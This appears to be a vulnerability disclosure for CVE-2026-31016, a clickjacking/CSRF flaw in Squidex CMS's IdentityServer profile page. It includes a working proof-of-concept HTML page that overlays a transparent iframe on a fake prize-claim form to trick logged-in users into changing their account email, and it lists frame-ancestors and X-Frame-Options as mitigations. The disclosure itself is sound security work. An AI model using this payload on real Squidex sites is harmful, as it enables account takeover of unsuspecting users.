> For the complete documentation index, see [llms.txt](https://lgnas.gitbook.io/findings/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lgnas.gitbook.io/findings/cve-2026-31016.md).

# CVE-2026-31016

## About the Application

Squidex is an open source, headless content management system (CMS) and content management hub providing a platform for managing and delivering content.

## About the Finding

A cross-site request forgery vulnerability (CSRF) in Squidex.io Squidex CMS 0 through 7.21.0 versions allow a remote attacker to escalate privileges via the IdentityServer account profile endpoint.

## Proof of Concept

An attacker-controlled HTML page hosted within Squidex (e.g., uploaded as an asset and accessed via its direct URL) embeds the Identity profile management endpoint in an iframe. When a victim maintains an authenticated session, UI redress may induce unintended interaction with the framed profile management page, enabling actions exposed by that view.

Create HTML file with Proof of Concept content below and upload into assets. Access the uploaded file directly to observe the HTML page loading with iFrame loading in the profile management page.

```
<!doctype html>
<html>
<head>
  <meta charset="utf-8">
  <title>Example layout</title>
  <style>
    iframe {
      position: absolute;
      top: 0; left: 0;
      width: 500px; height: 1000px;
      opacity: 0.10;
      z-index: 2;
      border: none; 
    }
    .decoy {
      position: relative;
      width: 500px;
      height: 900px; 
      border: 1px dashed #ccc;
    }
    .controls {
      position: absolute;
      left: 55px;
      top: 395px;
    }
    #btn { position: absolute; padding: 10px 10px; font-size: 10px; left: -9px;
      top: 178px;}   
  </style>
</head>
<body>
  <div class="decoy">
    <h1>Claim your prize!</h1>
    <p>For verification purposes, enter organiser's email below and click Verify</p>
    <div class="controls">
      <input type="text" placeholder="Organiser's email">
            <button id="btn">Verify</button>
    </div>
  </div>
    <iframe src="https://squidex.local/identity-server/account/profile"></iframe>
</body>
</html>
```

{% embed url="<https://www.youtube.com/watch?v=62ay_jrwUcI>" %}

## Conclusion

Where profile management operations include email address changes without verification, UI redress can induce state changes with durable security consequences, including account integrity compromise and potential account recovery pivot scenarios. Industry guidance identifies CSP `frame-ancestors` (preferably `frame-ancestors 'none'` for sensitive UI) and, where applicable, `X-Frame-Options` as primary mitigations to prevent clickjacking by disallowing framing.

<figure><img src="/files/WqYCUy03olWDLxCNkzwu" alt=""><figcaption></figcaption></figure>

{% embed url="<https://nvd.nist.gov/vuln/detail/CVE-2026-31016>" %}
